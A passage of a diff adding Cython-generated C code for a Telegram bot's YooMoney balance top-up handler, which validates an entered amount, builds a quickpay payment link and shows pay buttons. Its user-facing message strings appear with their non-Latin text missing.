__Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 191, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 191, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":194 + * " . , :" + * ) + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yoomoney_pay.py":190 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * " . , :" + */ + } + + /* "handlers/payments/yoomoney_pay.py":196 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 196, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 196, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 196, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":197 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 197, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/yoomoney_pay.py":198 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 198, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 198, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_6}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 197, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 197, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 197, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":201 + * ) + * + * customer_id = message.chat.id # <<<<<<<<<<<<<< + * account_id = YOOMONEY_ID + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_customer_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":202 + * + * customer_id = message.chat.id + * account_id = YOOMONEY_ID # <<<<<<<<<<<<<< + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_account_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":203 + * customer_id = message.chat.id + * account_id = YOOMONEY_ID + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = 0; + __pyx_t_8 = 127; + __Pyx_INCREF(__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + __pyx_t_7 += 50; + __Pyx_GIVEREF(__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_https_yoomoney_ru_quickpay_confi); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_account_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_8; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_quickpay_form_shop_targets_sum); + __pyx_t_7 += 33; + __Pyx_GIVEREF(__pyx_kp_u_quickpay_form_shop_targets_sum); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u_quickpay_form_shop_targets_sum); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_8; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_paymentType_PC_comment_label); + __pyx_t_8 = (65535 > __pyx_t_8) ? 65535 : __pyx_t_8; + __pyx_t_7 += 49; + __Pyx_GIVEREF(__pyx_kp_u_paymentType_PC_comment_label); + PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_kp_u_paymentType_PC_comment_label); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_8; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_t_2); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 6, __pyx_t_7, __pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_payment_url = ((PyObject*)__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":205 + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/yoomoney_pay.py":206 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/yoomoney_pay.py":207 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_n_u__8) < 0) __PYX_ERR(0, 207, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 207, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_9); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_9)) __PYX_ERR(0, 207, __pyx_L1_error); + __pyx_t_9 = 0; + + /* "handlers/payments/yoomoney_pay.py":208 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = PyList_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_10); + if (__Pyx_PyList_SET_ITEM(__pyx_t_6, 0, __pyx_t_10)) __PYX_ERR(0, 208, __pyx_L1_error); + __pyx_t_10 = 0; + + /* "handlers/payments/yoomoney_pay.py":206 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_3)) __PYX_ERR(0, 206, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_6); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 1, __pyx_t_6)) __PYX_ERR(0, 206, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_10) < 0) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yoomoney_pay.py":205 + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_10; + __pyx_t_10 = 0; + + /* "handlers/payments/yoomoney_pay.py":212 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/yoomoney_pay.py":213 + * + * await message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = 0; + __pyx_t_8 = 127; + __Pyx_INCREF(__pyx_kp_u__9); + __pyx_t_8 = (65535 > __pyx_t_8) ? 65535 : __pyx_t_8; + __pyx_t_7 += 25; + __Pyx_GIVEREF(__pyx_kp_u__9); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__9); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_8; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_8 = (65535 > __pyx_t_8) ? 65535 : __pyx_t_8; + __pyx_t_7 += 8; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__10); + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_7, __pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yoomoney_pay.py":214 + * await message.answer( + * text=f" {amount} .", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * + */ + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":212 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L9_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 212, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 212, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":188 + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + goto __pyx_L4; + } + + /* "handlers/payments/yoomoney_pay.py":218 + * + * else: + * await message.answer(" . , :") # <<<<<<<<<<<<<< + */ + /*else*/ { + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_10 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_10, __pyx_kp_u__20}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 218, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 218, __pyx_L1_error) + } + } + } + __pyx_L4:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yoomoney_pay.py":186 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_AddTraceback("process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney[8]; +static int __pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney[--__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_exists); + Py_CLEAR(p->__pyx_v_expected_hash); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_key_count); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + #if CYTHON_USE_FREELISTS + if 